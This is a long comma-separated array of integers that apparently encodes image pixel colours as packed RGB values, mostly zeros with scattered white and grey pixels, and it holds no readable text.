0,0,0,0,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777179,9463354,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3815994,3815994,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,3815994,3815994,3815994,3815994,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3816038,11983871,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3816038,9483995,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721718,14417919,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,3801088,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,3815994,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,3815994,6710886,6710886,6710886,6710886,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777179,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815994,6721718,14417919,16777215,16758374,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,58,3815994,6721718,14417919,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16777215,16777215,14399078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483995,14408630,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14906,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,